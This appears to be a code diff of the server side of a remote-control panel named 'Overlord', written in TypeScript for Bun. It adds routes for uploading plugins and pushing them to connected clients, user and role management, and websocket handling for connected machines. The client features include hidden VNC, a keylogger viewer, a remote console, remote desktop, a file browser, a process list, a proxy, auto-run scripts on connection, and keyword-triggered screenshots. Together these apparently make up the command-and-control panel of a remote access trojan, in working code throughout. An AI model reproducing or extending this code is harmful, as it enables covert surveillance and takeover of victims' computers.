const loaded = deps.pluginLoadedByClient.get(clientId) || new Set<string>();
const manifests = await deps.listPluginManifests();
const plugins = manifests.map((manifest) => ({
id: manifest.id,
name: manifest.name || manifest.id,
loaded: loaded.has(manifest.id),
enabled: deps.pluginState.enabled[manifest.id] !== false,
lastError: deps.pluginState.lastError[manifest.id] || "",
}));
return Response.json({ plugins });
}
if (req.method === "POST" && url.pathname === "/api/plugins/upload") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden: Admin or operator access required", { status: 403 });
}
let form: FormData;
try {
form = await req.formData();
} catch {
return new Response("Bad request", { status: 400 });
}
const file = form.get("file");
if (!(file instanceof File)) {
return new Response("Missing file", { status: 400 });
}
const filename = file.name || "plugin.zip";
if (!filename.toLowerCase().endsWith(".zip")) {
return new Response("Only .zip files are supported", { status: 400 });
}
const base = path.basename(filename, path.extname(filename));
let pluginId = "";
try {
pluginId = deps.sanitizePluginId(base);
} catch {
return new Response("Invalid plugin name", { status: 400 });
}
await fs.mkdir(deps.PLUGIN_ROOT, { recursive: true });
const zipPath = path.join(deps.PLUGIN_ROOT, `${pluginId}.zip`);
const data = new Uint8Array(await file.arrayBuffer());
await fs.writeFile(zipPath, data);
try {
await deps.ensurePluginExtracted(pluginId);
} catch (err) {
return Response.json({ ok: false, error: (err as Error).message }, { status: 400 });
}
if (deps.pluginState.enabled[pluginId] === undefined) {
deps.pluginState.enabled[pluginId] = true;
await deps.savePluginState();
}
return Response.json({ ok: true, id: pluginId });
}
const pluginEnableMatch = url.pathname.match(/^\/api\/plugins\/(.+)\/enable$/);
if (req.method === "POST" && pluginEnableMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden: Admin or operator access required", { status: 403 });
}
let pluginId = "";
try {
pluginId = deps.sanitizePluginId(pluginEnableMatch[1]);
} catch {
return new Response("Invalid plugin id", { status: 400 });
}
let body: any = {};
try {
body = await req.json();
} catch {}
const enabled = !!body.enabled;
deps.pluginState.enabled[pluginId] = enabled;
await deps.savePluginState();
return Response.json({ ok: true, id: pluginId, enabled });
}
const pluginDeleteMatch = url.pathname.match(/^\/api\/plugins\/(.+)$/);
if (req.method === "DELETE" && pluginDeleteMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden: Admin or operator access required", { status: 403 });
}
let pluginId = "";
try {
pluginId = deps.sanitizePluginId(pluginDeleteMatch[1]);
} catch {
return new Response("Invalid plugin id", { status: 400 });
}
const zipPath = path.join(deps.PLUGIN_ROOT, `${pluginId}.zip`);
const pluginDir = path.join(deps.PLUGIN_ROOT, pluginId);
try {
await fs.rm(zipPath, { force: true });
} catch {}
try {
await fs.rm(pluginDir, { recursive: true, force: true });
} catch {}
deps.pluginLoadedByClient.forEach((set) => set.delete(pluginId));
deps.pluginLoadingByClient.forEach((set) => set.delete(pluginId));
delete deps.pluginState.enabled[pluginId];
delete deps.pluginState.lastError[pluginId];
await deps.savePluginState();
return Response.json({ ok: true, id: pluginId });
}
const pluginLoadMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/load$/);
if (req.method === "POST" && pluginLoadMatch) {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const targetId = pluginLoadMatch[1];
const pluginId = pluginLoadMatch[2];
const target = clientManager.getClient(targetId);
if (!target) return new Response("Not found", { status: 404 });
if (deps.isPluginLoaded(targetId, pluginId)) {
return Response.json({ ok: true, alreadyLoaded: true });
}
if (deps.isPluginLoading(targetId, pluginId)) {
return Response.json({ ok: true, loading: true });
}
try {
const bundle = await deps.loadPluginBundle(pluginId);
deps.markPluginLoading(targetId, pluginId);
deps.sendPluginBundle(target, bundle);
metrics.recordCommand("plugin_load");
return Response.json({ ok: true });
} catch (err) {
return Response.json({ ok: false, error: (err as Error).message }, { status: 400 });
}
}
const pluginEventMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/event$/);
if (req.method === "POST" && pluginEventMatch) {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const targetId = pluginEventMatch[1];
const pluginId = pluginEventMatch[2];
const target = clientManager.getClient(targetId);
if (!target) return new Response("Not found", { status: 404 });
if (deps.pluginState.enabled[pluginId] === false) {
return Response.json({ ok: false, error: "Plugin disabled" }, { status: 400 });
}
let body: any = {};
try {
body = await req.json();
} catch {
body = {};
}
const event = typeof body.event === "string" ? body.event : "";
const payload = body.payload;
if (!event) {
return new Response("Bad request", { status: 400 });
}
if (!deps.isPluginLoaded(targetId, pluginId)) {
deps.enqueuePluginEvent(targetId, pluginId, event, payload);
if (!deps.isPluginLoading(targetId, pluginId)) {
try {
const bundle = await deps.loadPluginBundle(pluginId);
deps.markPluginLoading(targetId, pluginId);
deps.sendPluginBundle(target, bundle);
metrics.recordCommand("plugin_load");
} catch (err) {
return Response.json({ ok: false, error: (err as Error).message }, { status: 400 });
}
}
metrics.recordCommand("plugin_event");
return Response.json({ ok: true, queued: true });
}
target.ws.send(
encodeMessage({
type: "plugin_event",
pluginId,
event,
payload,
}),
);
metrics.recordCommand("plugin_event");
return Response.json({ ok: true });
}
const pluginUnloadMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/unload$/);
if (req.method === "POST" && pluginUnloadMatch) {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const targetId = pluginUnloadMatch[1];
const pluginId = pluginUnloadMatch[2];
const target = clientManager.getClient(targetId);
if (!target) return new Response("Not found", { status: 404 });
target.ws.send(
encodeMessage({
type: "command",
commandType: "plugin_unload",
id: uuidv4(),
payload: { pluginId },
}),
);
deps.pluginLoadedByClient.get(targetId)?.delete(pluginId);
deps.pluginLoadingByClient.get(targetId)?.delete(pluginId);
deps.pendingPluginEvents.delete(`${targetId}:${pluginId}`);
return Response.json({ ok: true, id: pluginId });
}
const pluginFrameMatch = url.pathname.match(/^\/plugins\/([^/]+)\/frame$/);
if (req.method === "GET" && pluginFrameMatch) {
let pluginId = "";
try {
pluginId = deps.sanitizePluginId(pluginFrameMatch[1]);
} catch {
return new Response("Invalid plugin id", { status: 400 });
}
const htmlFile = path.join(deps.PLUGIN_ROOT, pluginId, "assets", `${pluginId}.html`);
const file = Bun.file(htmlFile);
if (!(await file.exists())) {
return new Response("Not found", { status: 404 });
}
const raw = await file.text();
const baseTag = `<base href="/plugins/${pluginId}/assets/" />`;
const bridgeTag = `<script src="/assets/plugin-bridge.js"></script>`;
let injected = raw;
const headMatch = raw.match(/<head[^>]*>/i);
if (headMatch) {
injected = raw.replace(headMatch[0], `${headMatch[0]}\n ${baseTag}`);
}
if (injected.includes("</head>")) {
injected = injected.replace("</head>", ` ${bridgeTag}\n </head>`);
} else if (injected.includes("</body>")) {
injected = injected.replace("</body>", ` ${bridgeTag}\n</body>`);
} else {
injected = `${bridgeTag}\n${injected}`;
}
return new Response(injected, {
headers: { ...deps.securePluginHeaders(), "Content-Type": "text/html; charset=utf-8" },
});
}
const pluginPageMatch = url.pathname.match(/^\/plugins\/([^/]+)$/);
if (req.method === "GET" && pluginPageMatch) {
let pluginId = "";
try {
pluginId = deps.sanitizePluginId(pluginPageMatch[1]);
} catch {
return new Response("Invalid plugin id", { status: 400 });
}
const clientId = url.searchParams.get("clientId") || "";
const bridgeToken = uuidv4();
const origin = url.origin;
const iframeSrc = `/plugins/${pluginId}/frame?clientId=${encodeURIComponent(clientId)}&token=${encodeURIComponent(bridgeToken)}&origin=${encodeURIComponent(origin)}`;
const html = `<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>${pluginId} - Overlord Plugin</title>
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap"
rel="stylesheet"
/>
<link rel="stylesheet" href="/assets/tailwind.css" />
<link
rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
crossorigin="anonymous"
referrerpolicy="no-referrer"
/>
<link rel="stylesheet" href="/assets/main.css" />
</head>
<body class="min-h-screen bg-slate-950 text-slate-100">
<header id="top-nav"></header>
<main class="px-5 py-6">
<div class="max-w-6xl mx-auto">
<div class="rounded-2xl border border-slate-800 bg-slate-900/50 overflow-hidden">
<iframe
id="plugin-frame"
src="${iframeSrc}"
sandbox="allow-scripts"
class="w-full h-[calc(100vh-220px)] bg-slate-950"
></iframe>
</div>
</div>
</main>
<div
id="plugin-host"
data-bridge-token="${bridgeToken}"
></div>
<script type="module" src="/assets/nav.js"></script>
<script src="/assets/plugin-host.js"></script>
</body>
</html>`;
return new Response(html, { headers: deps.secureHeaders("text/html; charset=utf-8") });
}
const pluginAssetMatch = url.pathname.match(/^\/plugins\/([^/]+)\/assets\/(.+)$/);
if (req.method === "GET" && pluginAssetMatch) {
const [, pluginId, assetPath] = pluginAssetMatch;
let decodedPath = assetPath;
try {
decodedPath = decodeURIComponent(assetPath);
} catch {
return new Response("Bad request", { status: 400 });
}
if (decodedPath.includes("\u0000") || path.isAbsolute(decodedPath)) {
return new Response("Not found", { status: 404 });
}
const assetsRoot = path.join(deps.PLUGIN_ROOT, pluginId, "assets");
const normalized = decodedPath.replace(/\\/g, "/");
const resolvedPath = path.resolve(assetsRoot, normalized);
const rootWithSep = assetsRoot.endsWith(path.sep) ? assetsRoot : `${assetsRoot}${path.sep}`;
if (!resolvedPath.startsWith(rootWithSep)) {
return new Response("Not found", { status: 404 });
}
const file = Bun.file(resolvedPath);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType(assetPath)) });
}
return new Response("Not found", { status: 404 });
}
return null;
}
@@ -0,0 +1,207 @@
import { generateToken, authenticateRequest } from "../../auth";
import { AuditAction, logAudit } from "../../auditLog";
import { logger } from "../../logger";
import { requirePermission } from "../../rbac";
import {
createUser,
deleteUser,
getUserById,
listUsers,
updateUserPassword,
updateUserRole,
} from "../../users";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
};
export async function handleUsersRoutes(
req: Request,
url: URL,
server: RequestIpProvider,
): Promise<Response | null> {
if (!url.pathname.startsWith("/api/users")) {
return null;
}
try {
const user = await authenticateRequest(req);
if (req.method === "GET" && url.pathname === "/api/users") {
requirePermission(user, "users:manage");
const users = listUsers();
return Response.json({ users });
}
if (req.method === "POST" && url.pathname === "/api/users") {
const authedUser = requirePermission(user, "users:manage");
const body = await req.json();
const { username, password, role } = body;
if (!username || !password || !role) {
return Response.json({ error: "Missing required fields" }, { status: 400 });
}
if (!["admin", "operator", "viewer"].includes(role)) {
return Response.json({ error: "Invalid role" }, { status: 400 });
}
const result = await createUser(username, password, role, authedUser.username);
if (result.success) {
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
username: authedUser.username,
ip,
action: AuditAction.COMMAND,
details: `Created user: ${username} (${role})`,
success: true,
});
return Response.json({ success: true, userId: result.userId });
}
return Response.json({ error: result.error }, { status: 400 });
}
if (req.method === "PUT" && url.pathname.match(/^\/api\/users\/\d+\/password$/)) {
const userId = parseInt(url.pathname.split("/")[3]);
const body = await req.json();
const { password, newPassword, currentPassword } = body;
const canChange = user.userId === userId || user.role === "admin";
if (!canChange) {
return Response.json({ error: "Permission denied" }, { status: 403 });
}
if (user.userId === userId && currentPassword) {
const targetUser = getUserById(userId);
if (!targetUser) {
return Response.json({ error: "User not found" }, { status: 404 });
}
const isValid = await Bun.password.verify(
currentPassword,
targetUser.password_hash,
);
if (!isValid) {
return Response.json(
{ error: "Current password is incorrect" },
{ status: 400 },
);
}
}
const finalPassword = newPassword || password;
if (!finalPassword) {
return Response.json({ error: "Password required" }, { status: 400 });
}
const result = await updateUserPassword(userId, finalPassword);
if (result.success) {
const targetUser = getUserById(userId);
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.COMMAND,
details: `Updated password for user: ${targetUser?.username}`,
success: true,
});
if (user.userId === userId && targetUser) {
const newToken = await generateToken(targetUser);
return new Response(
JSON.stringify({
success: true,
token: newToken,
}),
{
headers: {
"Content-Type": "application/json",
"Set-Cookie": `overlord_token=${newToken}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=604800`,
},
},
);
}
return Response.json({ success: true });
}
return Response.json({ error: result.error }, { status: 400 });
}
if (req.method === "PUT" && url.pathname.match(/^\/api\/users\/\d+\/role$/)) {
const authedUser = requirePermission(user, "users:manage");
const userId = parseInt(url.pathname.split("/")[3]);
const body = await req.json();
const { role } = body;
if (!role || !["admin", "operator", "viewer"].includes(role)) {
return Response.json({ error: "Invalid role" }, { status: 400 });
}
if (userId === authedUser.userId) {
return Response.json({ error: "Cannot change your own role" }, { status: 400 });
}
const result = updateUserRole(userId, role);
if (result.success) {
const targetUser = getUserById(userId);
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
username: authedUser.username,
ip,
action: AuditAction.COMMAND,
details: `Updated role for user: ${targetUser?.username} to ${role}`,
success: true,
});
return Response.json({ success: true });
}
return Response.json({ error: result.error }, { status: 400 });
}
if (req.method === "DELETE" && url.pathname.match(/^\/api\/users\/\d+$/)) {
const authedUser = requirePermission(user, "users:manage");
const userId = parseInt(url.pathname.split("/")[3]);
if (userId === authedUser.userId) {
return Response.json(
{ error: "Cannot delete your own account" },
{ status: 400 },
);
}
const targetUser = getUserById(userId);
const result = deleteUser(userId);
if (result.success) {
const ip = server.requestIP(req)?.address || "unknown";
logAudit({
timestamp: Date.now(),
username: authedUser.username,
ip,
action: AuditAction.COMMAND,
details: `Deleted user: ${targetUser?.username}`,
success: true,
});
return Response.json({ success: true });
}
return Response.json({ error: result.error }, { status: 400 });
}
return new Response("Not found", { status: 404 });
} catch (error) {
if (error instanceof Response) {
return error;
}
logger.error("[users] API error:", error);
return Response.json({ error: "Internal server error" }, { status: 500 });
}
}
@@ -0,0 +1,385 @@
import type { ServerWebSocket } from "bun";
import { v4 as uuidv4 } from "uuid";
import { logAudit, AuditAction } from "../../auditLog";
import * as clientManager from "../../clientManager";
import { clientExists, setOnlineState, upsertClientRow } from "../../db";
import { logger } from "../../logger";
import { metrics } from "../../metrics";
import { decodeMessage, encodeMessage, type WireMessage } from "../../protocol";
import * as sessionManager from "../../sessions/sessionManager";
import type { SocketData } from "../../sessions/types";
import type { ClientInfo } from "../../types";
import { handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
type PendingScript = {
timeout: ReturnType<typeof setTimeout>;
resolve: (value: { ok?: boolean; result?: string; error?: string }) => void;
};
type WsLifecycleDeps = {
maxClientPayloadBytes: number;
maxViewerPayloadBytes: number;
pendingScripts: Map<string, PendingScript>;
rdStreamingState: Map<string, unknown>;
hvncStreamingState: Map<string, unknown>;
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleHVNCViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleFileBrowserViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleProxyViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleRemoteDesktopViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleHVNCViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleFileBrowserViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleProxyViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
takePendingNotificationScreenshot: (clientId: string) => any;
storeNotificationScreenshot: (
pending: any,
bytes: Uint8Array,
format: string,
width?: number,
height?: number,
) => void;
handleNotificationScreenshotResult: (clientId: string, payload: any) => void;
handleConsoleOutput: (payload: any) => void;
handleFileBrowserMessage: (clientId: string, payload: any) => void;
handleProxyMessage: (clientId: string, payload: any) => void;
handleProcessMessage: (clientId: string, payload: any) => void;
handleKeyloggerMessage: (clientId: string, payload: any) => void;
notifyRdInputLatency: (commandId: string) => void;
handleNotificationScreenshotFailure: (commandId: string | undefined, ok: boolean | undefined, message: string | undefined) => void;
handlePluginEvent: (clientId: string, payload: any) => void;
handleNotification: (clientId: string, payload: any) => void;
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
sendHVNCCommand: (target: ClientInfo, commandType: string, payload: Record<string, unknown>) => void;
notifyConsoleClosed: (clientId: string, reason: string) => void;
clearPendingNotificationScreenshots: (clientId: string) => void;
notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void;
};
export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLifecycleDeps): void {
const role = ws.data.role as string;
const clientId = ws.data.clientId;
const ip = ws.data.ip;
if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws);
if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws);
if (role === "hvnc_viewer") return deps.handleHVNCViewerOpen(ws);
if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws);
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
if (role === "proxy_viewer") return deps.handleProxyViewerOpen(ws);
if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws);
const id = clientId || uuidv4();
const info: ClientInfo = { id, role: role as any, ws, lastSeen: Date.now(), country: "", ip, online: true };
clientManager.addClient(id, info);
ws.data.clientId = id;
ws.data.ip = ip;
if (role === "client") {
ws.data.wasKnown = clientExists(id);
}
upsertClientRow({ id, role: role as any, ip, lastSeen: info.lastSeen, online: 1 as any });
logger.info(`[open] ${id} role=${role}`);
const notificationConfig = deps.getNotificationConfig();
ws.send(
encodeMessage({
type: "hello_ack",
id,
notification: {
keywords: notificationConfig.keywords || [],
minIntervalMs: notificationConfig.minIntervalMs || 8000,
},
}),
);
if (role === "client") {
deps.notifyRemoteDesktopStatus(id, "online");
metrics.recordConnection();
}
}
export function handleWebSocketMessage(
ws: ServerWebSocket<SocketData>,
message: string | ArrayBuffer | Uint8Array,
deps: WsLifecycleDeps,
): void {
const size = getMessageByteLength(message as any);
const role = ws.data?.role as any;
const limit = getMaxPayloadLimit(role, deps.maxClientPayloadBytes, deps.maxViewerPayloadBytes);
if (size > limit) {
logger.warn(`[ws] closing socket due to oversized message (${size} > ${limit}) role=${role || "unknown"}`);
try {
ws.close(1009, "Message too large");
} catch {}
return;
}
const socketRole = ws.data.role as string;
if (socketRole === "console_viewer") return deps.handleConsoleViewerMessage(ws, message);
if (socketRole === "rd_viewer") return deps.handleRemoteDesktopViewerMessage(ws, message);
if (socketRole === "hvnc_viewer") return deps.handleHVNCViewerMessage(ws, message);
if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message);
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
if (socketRole === "proxy_viewer") return deps.handleProxyViewerMessage(ws, message);
if (socketRole === "notifications_viewer") return;
const { clientId, ip } = ws.data;
const info = clientManager.getClient(clientId);
if (!info) return;
info.lastSeen = Date.now();
try {
const payload = decodeMessage(message as Uint8Array) as WireMessage;
if (!payload || typeof (payload as any).type !== "string") {
return;
}
if (!isAllowedClientMessageType((payload as any).type)) {
logger.warn(`[message] Dropping unknown client message type: ${(payload as any).type}`);
return;
}
const payloadType = (payload as any)?.type as string;
switch (payloadType) {
case "hello": {
handleHello(info, payload, ws, ip);
clientManager.addClient(info.id, info);
deps.dispatchAutoScriptsForConnection(info, ws);
if (info.role === "client") {
const wasKnown = Boolean((ws as any)?.data?.wasKnown);
logAudit({
timestamp: Date.now(),
username: "system",
ip: (ws as any)?.data?.ip || ip || "unknown",
action: wasKnown ? AuditAction.CLIENT_RECONNECT : AuditAction.CLIENT_FIRST_CONNECT,
targetClientId: info.id,
success: true,
details: JSON.stringify({ host: info.host, os: info.os, user: info.user }),
});
(ws as any).data.wasKnown = true;
}
break;
}
case "ping":
handlePing(info, payload, ws);
break;
case "pong":
handlePong(info, payload);
break;
case "frame":
if ((payload as any)?.header?.fps === 0) {
const pending = deps.takePendingNotificationScreenshot(info.id);
if (pending) {
let bytes: Uint8Array | null = null;
if ((payload as any).data instanceof Uint8Array) {
bytes = (payload as any).data;
} else if ((payload as any).data instanceof ArrayBuffer) {
bytes = new Uint8Array((payload as any).data);
} else if (ArrayBuffer.isView((payload as any).data)) {
bytes = new Uint8Array((payload as any).data.buffer);
}
const format = String((payload as any)?.header?.format || "jpeg");
const width = Number((payload as any)?.header?.width) || undefined;
const height = Number((payload as any)?.header?.height) || undefined;
if (bytes) {
deps.storeNotificationScreenshot(pending, bytes, format, width, height);
}
}
}
handleFrame(info, payload);
break;
case "screenshot_result":
deps.handleNotificationScreenshotResult(info.id, payload);
break;
case "console_output":
deps.handleConsoleOutput(payload);
break;
case "file_list_result":
case "file_download":
case "file_upload_result":
case "file_read_result":
case "file_search_result":
case "command_result":
if (typeof (payload as any).commandId === "string") {
deps.notifyRdInputLatency((payload as any).commandId);
}
deps.handleNotificationScreenshotFailure(
(payload as any).commandId,
(payload as any).ok,
(payload as any).message,
);
deps.handleFileBrowserMessage(info.id, payload);
deps.handleProxyMessage(info.id, payload);
break;
case "command_progress":
deps.handleFileBrowserMessage(info.id, payload);
break;
case "process_list_result":
deps.handleProcessMessage(info.id, payload);
break;
case "keylog_file_list":
case "keylog_file_content":
case "keylog_clear_result":
case "keylog_delete_result":
deps.handleKeyloggerMessage(info.id, payload);
break;
case "script_result": {
logger.debug(
`[script] client=${info.id} ok=${(payload as any).ok} output_length=${(payload as any).output?.length || 0}`,
);
const cmdId = (payload as any).commandId;
if (cmdId && deps.pendingScripts.has(cmdId)) {
const pending = deps.pendingScripts.get(cmdId)!;
clearTimeout(pending.timeout);
pending.resolve({
ok: (payload as any).ok,
result: (payload as any).output || "",
error: (payload as any).error,
});
deps.pendingScripts.delete(cmdId);
}
break;
}
case "plugin_event":
deps.handlePluginEvent(info.id, payload);
break;
case "notification":
deps.handleNotification(info.id, payload);
break;
default:
break;
}
} catch (err) {
logger.error("[message] decode error", err);
}
}
export function handleWebSocketClose(
ws: ServerWebSocket<SocketData>,
code: number,
reason: unknown,
deps: WsLifecycleDeps,
): void {
const clientId = ws.data.clientId;
const role = ws.data.role as string;
const sessionId = ws.data.sessionId;
if (role === "console_viewer") {
if (sessionId) {
sessionManager.deleteConsoleSession(sessionId);
const target = clientManager.getClient(clientId);
deps.stopConsoleOnTarget(target, sessionId);
}
return;
}
if (role === "rd_viewer") {
let removedClientId = clientId;
for (const [sid, sess] of sessionManager.getAllRdSessions().entries()) {
if (sess.viewer === ws) {
removedClientId = sess.clientId;
sessionManager.getAllRdSessions().delete(sid);
break;
}
}
const stillViewing = Array.from(sessionManager.getAllRdSessions().values()).some((s) => s.clientId === removedClientId);
if (!stillViewing) {
const target = clientManager.getClient(removedClientId);
deps.sendDesktopCommand(target, "desktop_stop", {});
deps.rdStreamingState.delete(removedClientId);
logger.debug(`[rd] cleaned up state for client ${removedClientId}`);
}
return;
}
if (role === "hvnc_viewer") {
let removedClientId = clientId;
for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
if (sess.viewer === ws) {
removedClientId = sess.clientId;
sessionManager.getAllHvncSessions().delete(sid);
break;
}
}
const stillViewing = Array.from(sessionManager.getAllHvncSessions().values()).some((s) => s.clientId === removedClientId);
if (!stillViewing) {
const target = clientManager.getClient(removedClientId);
if (target) {
deps.sendHVNCCommand(target, "hvnc_stop", {});
}
deps.hvncStreamingState.delete(removedClientId);
logger.debug(`[hvnc] cleaned up state for client ${removedClientId}`);
}
return;
}
if (role === "file_browser_viewer") {
if (sessionId) {
sessionManager.getAllFileBrowserSessions().delete(sessionId);
}
return;
}
if (role === "process_viewer") {
if (sessionId) {
sessionManager.getAllProcessSessions().delete(sessionId);
}
return;
}
if (role === "keylogger_viewer") {
if (sessionId) {
sessionManager.deleteKeyloggerSession(sessionId);
}
return;
}
if (role === "proxy_viewer") {
if (sessionId) {
sessionManager.deleteProxySession(sessionId);
}
return;
}
if (role === "notifications_viewer") {
if (sessionId) {
sessionManager.deleteNotificationSession(sessionId);
}
return;
}
clientManager.deleteClient(clientId);
deps.notifyConsoleClosed(clientId, "Client disconnected");
setOnlineState(clientId, false);
deps.clearPendingNotificationScreenshots(clientId);
logger.info(`[close] ${clientId} code=${code} reason=${reason}`);
if (role === "client") {
deps.notifyRemoteDesktopStatus(clientId, "offline", "Client disconnected");
metrics.recordDisconnection();
logAudit({
timestamp: Date.now(),
username: "system",
ip: ws.data?.ip || "unknown",
action: AuditAction.CLIENT_DISCONNECT,
targetClientId: clientId,
success: true,
details: JSON.stringify({ code, reason: String(reason || "") }),
});
}
}
@@ -0,0 +1,179 @@
import { authenticateRequest } from "../../auth";
import { logger } from "../../logger";
import { isIpBanned } from "../../db";
type RequestServer = {
requestIP: (req: Request) => { address?: string } | null | undefined;
upgrade: (req: Request, data: any) => boolean;
};
type WsUpgradeDeps = {
isAuthorizedAgentRequest: (req: Request, url: URL) => boolean;
};
export async function handleWsUpgradeRoutes(
req: Request,
url: URL,
server: RequestServer,
deps: WsUpgradeDeps,
): Promise<Response | null> {
const consoleWsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/console\/ws$/);
if (consoleWsMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = consoleWsMatch[1];
const sessionId = crypto.randomUUID();
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "console_viewer", clientId, sessionId, ip, userRole: user.role } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const wsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/stream\/ws$/);
if (wsMatch) {
logger.info(`[auth] Checking agent authorization for client connection`);
if (!deps.isAuthorizedAgentRequest(req, url)) {
return new Response("Unauthorized", { status: 401 });
}
const clientId = wsMatch[1];
const role = (url.searchParams.get("role") as any) || "viewer";
const ip = server.requestIP(req)?.address || "";
if (ip && isIpBanned(ip)) {
logger.warn(`[auth] Rejected banned IP ${ip} for client ${clientId}`);
return new Response("Forbidden", { status: 403 });
}
if (server.upgrade(req, { data: { role, clientId, ip } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const rdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/rd\/ws$/);
if (rdMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = rdMatch[1];
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "rd_viewer", clientId, ip, userRole: user.role } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const hvncMatch = url.pathname.match(/^\/api\/clients\/(.+)\/hvnc\/ws$/);
if (hvncMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = hvncMatch[1];
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "hvnc_viewer", clientId, ip, userRole: user.role } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const fbMatch = url.pathname.match(/^\/api\/clients\/(.+)\/files\/ws$/);
if (fbMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = fbMatch[1];
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "file_browser_viewer", clientId, ip, userRole: user.role } })) {
return new Response();
}
